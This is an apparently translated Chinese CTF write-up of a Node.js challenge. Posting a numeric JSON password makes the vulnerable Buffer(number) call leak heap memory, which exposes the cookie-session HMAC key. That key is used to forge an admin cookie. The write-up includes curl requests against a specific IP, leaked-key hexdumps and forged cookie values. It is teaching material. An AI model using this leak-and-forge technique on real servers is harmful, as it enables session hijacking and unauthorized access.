导语:先前看到NodeJS曾爆出一个很有趣的问题,想想好像大家都对NodeJS漏洞没什么利用经验,那么就让我来利用这一有趣的问题创建一个挑战吧。

先前看到NodeJS曾爆出一个很有趣的问题,想想好像大家都对NodeJS漏洞没什么利用经验,那么就让我来利用这一有趣的问题创建一个挑战吧。

挑战的源码可以从这里下载到,搭建也非常简单,只需要执行以下几步:

$ cd nodejs_chall
$ node -v
v4.2.4
$ npm -v
2.14.12
$ npm install # 安装依赖
# 考虑国内npm速度较慢,推荐使用如下命令
# npm install --registry=https://registry.npm.taobao.org
$ npm start # start server on http://127.0.0.1:3000

环境搭建好后,访问网站/admin页面看到需要输入密码登录,那么挑战的目标就是得到secret_password并成功登录。

好了,如果你非常感兴趣想自己试试,那么就先不要往下看了,动手吧~

概略

1489911811684111.png

当我们初次访问网站,引入眼帘的是一个精美的登录页面,这里我开了一个小玩笑,说像C这种特别容易出现内存泄漏问题的语言,是不适合小鲜肉编写的,所以选择像JavaScript这种“内存安全”的语言才是明智之举。但这也暗示了挑战的问题所在,即使是JavaScript这类高级语言也未必像你想象的那般安全。

1489911838612163.png

/admin页面上有一个大大的密码输入框,而当我们随意输入密码后,就会收到密码错误的提示。

1489911852265511.png

此时,打开浏览器的控制台可以看到,我们发送了一个POST请求给/login,其中包含JOSN格式的密码信息{"password": "test"}

另一件值得注意的事情是两个Cookie,session=eyJhZG1pbiI6Im5vIn0=session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs,而当对session进行base64解码后,会发现内容实际为{"admin":"no"}。此时,可能有人会说那我们直接把内容改成{"admin":"yes"}就好啦,但这里Cookie是经过HMAC保护的,但你修改后服务器会直接丢弃的。

代码审计

现在让我们来看看代码吧,先看app.js文件,从中我们得知App使用了express框架var express = require('express');,不过这个与本挑战没什么太大关系。

然后在来看看config.js文件,这里面包含有secret_passwordsession_keys,当然这些密钥会用于生成HMAC保护cookies的。

随后我们来看看routes/index.js中是如何处理我们请求的:

router.get('/', function(req, res, next) {
    res.render('index', { title: 'index', admin: req.session.admin });
});

router.get('/admin', function(req, res, next) {
    res.render('admin', { title: 'Admin area', admin: req.session.admin, flag: config.secret_password });
});

router.get('/logout', function(req, res, next) {
    req.session = null;
    res.json({'status': 'ok'});
});

router.post('/login', function(req, res, next) {
    if(req.body.password !== undefined) {
        var password = new Buffer(req.body.password);
        if(password.toString('base64') == config.secret_password) {
            req.session.admin = 'yes';
            res.json({'status': 'ok' });
        } else {
            res.json({'status': 'error', 'error': 'password wrong: '+password.toString() });
        }
    } else {
        res.json({'status': 'error', 'error': 'password missing' });
    }
});

这里我们可以看到secret_password是作为admin模块中的flag,继续跟进查看views/admin.jade中的模板代码,就会发现如果得到secret_password就可以以admin登录了。

if admin === 'yes'
    p You are admin #{flag}
else
    ....

上面唯一有意思的就是/login,Login会检查password是否有设置,随后会新建一个Buffer()存放password,并将Buffer转换成base64字符与secret_password进行比对,如果相等,则会将session设置为admin = 'yes'

漏洞

看到这里,很多人应该会立马开始尝试跟踪看不受信任的输入是如何被处理的,最终都会跟踪到Buffer类。而Buffer()类会基于不同的参数返回不同的值,例如如下测试:

> Buffer('AAAA')
<Buffer 41 41 41 41>
> Buffer(4)
<Buffer 90 4e 80 01>
> Buffer(4)
<Buffer 50 cc 02 02>
> Buffer(4)
<Buffer 0a 00 00 00>

从上面测试中可以发现,当传递给Buffer一个字符串时,它会创建一个含有字符串的缓存,但当传递的是一个数字时,Nodejs会分配一个较大的缓冲区,而且还不是简单的<Buffer 00 00 00 00>,看起来还包含其他的值。这是因为Buffer(number)并不会初始化内存,从而导致泄露以前堆栈中分配的数据。

这个问题已经被提交,在NodeJS issue #4660里可以看到问题的描述和可能的修复方案。

因为挑战中的使用了JSON中间件(app.use(bodyParser.json())),所以当我们实际发生的POST数据包含数字时,那么就会收到一些从堆栈泄露的数据:

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{"password": 100}" | hexdump -C
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 69 73 41 72 72  |ord wrong: isArr|
00000030  61 79 2f ef bf bd 71 ef  bf bd 5c 75 30 30 30 30  |ay/...q...u0000|
00000040  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |u0000u0000u00|
00000050  30 30 5c 75 30 30 30 30  5c 75 30 30 31 30 ef bf  |00u0000u0010..|
00000060  bd 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.Cu0003u0000u|
00000070  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000u0000u0000|
00000080  5c 75 30 30 30 31 3c 2f  70 72 65 3e 3c ef bf bd  |u0001</pre><...|
00000090  7f 43 5c 75 30 30 30 33  5c 75 30 30 30 30 5c 75  |.Cu0003u0000u|
000000a0  30 30 30 30 5c 75 30 30  30 30 5c 75 30 30 30 30  |0000u0000u0000|
000000b0  5c 75 30 30 30 37 5c 75  30 30 30 30 5c 75 30 30  |u0007u0000u00|
000000c0  30 30 5c 75 30 30 30 30  2f 68 74 6d 5c 75 30 30  |00u0000/htmu00|
000000d0  30 32 5c 75 30 30 31 32  d0 a3 5c 75 30 30 30 30  |02u0012..u0000|
000000e0  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |u0000u0000u00|
000000f0  30 30 5c 75 30 30 30 30  5c 75 30 30 30 30 5c 75  |00u0000u0000u|
00000100  30 30 30 30 5c 75 30 30  30 30 76 65 5c 75 30 30  |0000u0000veu00|
00000110  30 30 5c 75 30 30 30 30  ef bf bd 7f 43 5c 75 30  |00u0000....Cu0|
00000120  30 30 33 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |003u0000u0000|
00000130  75 30 30 30 30 5c 75 30  30 30 30 5c 75 30 30 30  |u0000u0000u000|
00000140  30 5c 75 30 30 30 30 5c  75 30 30 30 30 5c 75 30  |0u0000u0000u0|
00000150  30 30 30 5c 75 30 30 30  30 5c 75 30 30 30 30 5c  |000u0000u0000|
00000160  75 30 30 30 30 5c 75 30  30 30 30 ef bf bd ef bf  |u0000u0000.....|
00000170  bd ef bf bd 5c 75 30 30  30 30 5c 75 30 30 30 30  |....u0000u0000|
00000180  5c 75 30 30 30 30 5c 75  30 30 30 30 5c 75 30 30  |u0000u0000u00|
00000190  30 30 3a 5c 75 30 30 30  36 5c 75 30 30 30 30 5c  |00:u0006u0000|
000001a0  75 30 30 30 30 ef bf bd  5c 75 30 30 30 30 5c 75  |u0000...u0000u|
000001b0  30 30 30 30 5c 75 30 30  30 30 50 32 31 5c 75 30  |0000u0000P21u0|
000001c0  30 30 33 22 7d                                    |003"}|

当我们重复多次,就可能发现一个泄露的session_keys

curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{"password": 100}" | hexdump -C
00000000  7b 22 73 74 61 74 75 73  22 3a 22 65 72 72 6f 72  |{"status":"error|
00000010  22 2c 22 65 72 72 6f 72  22 3a 22 70 61 73 73 77  |","error":"passw|
00000020  6f 72 64 20 77 72 6f 6e  67 3a 20 41 4c 4c 45 53  |ord wrong: ALLES|
00000030  7b 73 65 73 73 69 6f 6e  5f 6b 65 79 5f 4b 2e 47  |{session_key_K.G|
00000040  4b 51 65 52 30 4a 53 32  62 39 4f 68 77 53 48 23  |KQeR0JS2b9OhwSH#|
00000050  55 64 4d 68 4c 34 45 64  64 78 65 44 3f 7d 72 64  |UdMhL4EddxeD?}rd|
00000060  41 70 70 7b 5c 22 61 64  6d 69 6e 5c 22 3a 5c 22  |App{"admin":"|
00000070  6e 6f 5c 22 7d 3e 69 3c  21 44 4f 43 54 59 50 45  |no"}>i<!DOCTYPE|
00000080  20 68 74 6d 6c 3e 3c 68  74 6d 6c 20 6e 67 2d 61  | html><html ng-a|
00000090  70 70 3d 22 7d                                    |pp="}|
00000095
curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{"password": 100}" | grep ALLES
{"status":"error","error":"password wrong: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}><lin{"admin":"no"}eet" href="/stylesheets/style."}

上面泄露的session key为ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}

那么现在你可能会有疑问,为什么session key会被泄露?那为什么密码不会写泄露?对于后者我只有一些假设,那就是密码存储分配的内存和Buffer()分配的内存不在一起。

NodeJS应用使用var session = require('cookie-session'),这会依赖cookieskeygrip,而keygrip进行HMAC签名又依赖node核心crpyto包,而crpyto进行加密的时候又使用到了Buffer,这就是为什么会话密钥会从内存中泄露出去的原因了。

有了session key我们就可以创建一个具备有效签名的{"admin": "yes"}cookie了,从而完成成功登录。创建的过程可以依赖程序的源码,修改config.js文件中的session_key,并设置app.js文件中的req.session.admin = 'yes'

以上操作可以在自己本地创建的应用中设置,随后使用得到cookie发送给挑战服务器:session=eyJhZG1pbiI6InllcyJ9session.sig=oom6DtiV8CPOxVRSW3IFtE909As

1489911901452083.png

现在,我们就可以进行Base64解码,得到最终的flag为ALLES{use_javascript_they_said.its_a_safe_language_they_said}

源链接

Hacking more

...